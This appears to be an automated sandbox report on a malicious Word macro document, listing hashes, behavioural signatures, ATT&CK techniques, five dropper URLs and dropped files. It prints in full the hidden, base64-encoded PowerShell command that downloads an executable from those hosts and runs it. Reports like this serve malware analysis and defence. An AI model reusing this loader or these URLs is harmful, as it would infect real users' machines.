487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c

General

Target

virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
Size

172KB
MD5

6ad036ba93c94d6976e2d93c7a3aec6f
SHA1

cb098f7a0492454a31f3819a1b7ec143c0c507b6
SHA256

4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da
SHA512

525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00
SSDEEP

3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/

exe.dropper

https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/

exe.dropper

http://homemyland.net/tmp/wUHdeBS/

exe.dropper

https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/

exe.dropper

http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4992	4604	Powershell.exe	87

Blocklisted process makes network request 6 IoCs

flow	pid	Process
14	4992	Powershell.exe
21	4992	Powershell.exe
29	4992	Powershell.exe
83	4992	Powershell.exe
97	4992	Powershell.exe
98	4992	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4992	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\virusshare\3\~WRD0000.tmp\:Zone.Identifier:$DATA	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
608	WINWORD.EXE
608	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4992	Powershell.exe
4992	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	Powershell.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE
608	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 608 wrote to memory of 5184	608	WINWORD.EXE	90
PID 608 wrote to memory of 5184	608	WINWORD.EXE	90

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:608
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5184

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B8E6BA9B.wmf

Filesize
444B

MD5
a9e3b447c628d38253d3b477e34e7343

SHA1
f68692fdf404dd11fffd89f8225f69a10418cd41

SHA256
7aa72c4a4c147a3aaf0cb9f7252057731ce6544b5d355f557ff66333290c2854

SHA512
9f020439d3bcdb27fa0b3eababd7f2a5d56e34aa187af953c504e7f018aae755fc98bdd5fbc5cb9e88995e9438d6f060b03457935b8714721728a64d21483096

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDD233.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ophfkbhp.m3t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\virusshare\3\~WRD0000.tmp

Filesize
206KB

MD5
2fbec74b07582bde836e5ad04935c295

SHA1
550d08f1ee2396ad120942a3ce2a6820e9f44718

SHA256
b698b86e2be8e8d92ec6b8a75cfa397b0284ef329552b114ecfef7ca64564342

SHA512
084d546382c107958e52bf888761f6f3bf9a96ac1fdeaea432f20433096cc036b82ca087aadfd1266066335f0325761b592f36c65d7dc92f1300202efcca68a7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
3eda9d4132d20518c88de3b731aed902

SHA1
c17841bd341a3bdac00565089faf460d2273ae2a

SHA256
fc2d6a8740f55c09f8b2d95fabd7378658b38c6170e69c46396f4aedcf83cfcb

SHA512
a050c6d54935272d19b6b4d17b087b46da9b5ae5b657a5b1efaeea1937b7b8bc5d6bdcfc198a105f298624cfc46226e071198ca025c41fc101ccc2b202ee515c

Download Submit
memory/608-6-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-19-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-9-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-15-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-14-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-13-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-16-0x00007FFE651E0000-0x00007FFE651F0000-memory.dmp

Filesize
64KB

Download
memory/608-17-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-12-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-8-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-7-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-2-0x00007FFE67470000-0x00007FFE67480000-memory.dmp

Filesize
64KB

Download
memory/608-4-0x00007FFE67470000-0x00007FFE67480000-memory.dmp

Filesize
64KB

Download
memory/608-5-0x00007FFE67470000-0x00007FFE67480000-memory.dmp

Filesize
64KB

Download
memory/608-21-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-20-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-18-0x00007FFE651E0000-0x00007FFE651F0000-memory.dmp

Filesize
64KB

Download
memory/608-11-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-10-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-3-0x00007FFE67470000-0x00007FFE67480000-memory.dmp

Filesize
64KB

Download
memory/608-65-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-66-0x00007FFEA748D000-0x00007FFEA748E000-memory.dmp

Filesize
4KB

Download
memory/608-67-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-68-0x00007FFEA73F0000-0x00007FFEA75E5000-memory.dmp

Filesize
2.0MB

Download
memory/608-0-0x00007FFE67470000-0x00007FFE67480000-memory.dmp

Filesize
64KB

Download
memory/608-1-0x00007FFEA748D000-0x00007FFEA748E000-memory.dmp

Filesize
4KB

Download
memory/4992-58-0x000001CFCD800000-0x000001CFCD822000-memory.dmp

Filesize
136KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads